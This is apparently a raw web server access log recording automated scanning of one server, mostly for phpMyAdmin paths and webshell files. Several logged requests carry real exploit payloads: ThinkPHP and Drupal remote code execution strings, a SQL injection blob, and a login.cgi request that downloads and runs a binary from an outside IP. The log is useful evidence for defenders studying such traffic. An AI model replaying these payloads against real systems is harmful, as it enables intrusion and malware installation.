129.28.175.79 - - [29/Feb/2020:00:42:40 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:41 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:41 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:42 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:42 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:42 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:42 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:43 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:43 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:43 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:43 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:44 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:45 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:45 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:46 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:46 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:46 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:46 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:47 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:47 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:47 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:47 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:48 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:49 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:49 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:50 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:50 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:50 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:50 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:51 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:51 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:51 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:51 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:52 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:53 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:53 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:54 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:54 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:54 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:54 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:55 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:55 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:55 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:55 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:56 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:56 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:57 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:57 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:58 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:58 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:58 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:59 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:59 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:59 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:42:59 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:00 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:01 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:01 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:01 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:02 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:02 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:02 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:02 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:03 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:03 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:03 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:03 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:04 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:05 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:05 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:06 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:06 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:06 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:06 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
129.28.175.79 - - [29/Feb/2020:00:43:07 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:43:27 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:43:49 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:44:13 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:44:37 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:45:01 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
148.70.108.21 - - [29/Feb/2020:00:45:07 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:08 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:08 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:09 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:09 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:10 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:10 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:11 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
148.70.108.21 - - [29/Feb/2020:00:45:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
129.28.175.79 - - [29/Feb/2020:00:45:26 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:45:49 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
185.50.56.226 - - [29/Feb/2020:00:45:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
129.28.175.79 - - [29/Feb/2020:00:46:17 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:46:41 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:47:05 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.28.175.79 - - [29/Feb/2020:00:47:06 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.28.175.79 - - [29/Feb/2020:00:47:06 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.28.175.79 - - [29/Feb/2020:00:47:06 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.28.175.79 - - [29/Feb/2020:00:47:06 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:47:29 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.28.175.79 - - [29/Feb/2020:00:47:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
129.28.175.79 - - [29/Feb/2020:00:48:17 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
221.125.44.233 - - [29/Feb/2020:00:48:21 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
129.28.175.79 - - [29/Feb/2020:00:48:41 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
129.28.175.79 - - [29/Feb/2020:00:49:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
129.28.175.79 - - [29/Feb/2020:00:49:29 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
129.28.175.79 - - [29/Feb/2020:00:49:53 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
129.28.175.79 - - [29/Feb/2020:00:50:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
129.28.175.79 - - [29/Feb/2020:00:50:41 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
85.99.247.190 - - [29/Feb/2020:00:50:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
129.28.175.79 - - [29/Feb/2020:00:51:05 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
129.28.175.79 - - [29/Feb/2020:00:51:29 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
129.28.175.79 - - [29/Feb/2020:00:51:30 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:30 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:30 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:31 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:33 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:33 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:34 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:34 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:34 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:34 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:37 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:37 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:38 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:38 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:38 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:40 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
129.28.175.79 - - [29/Feb/2020:00:51:41 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
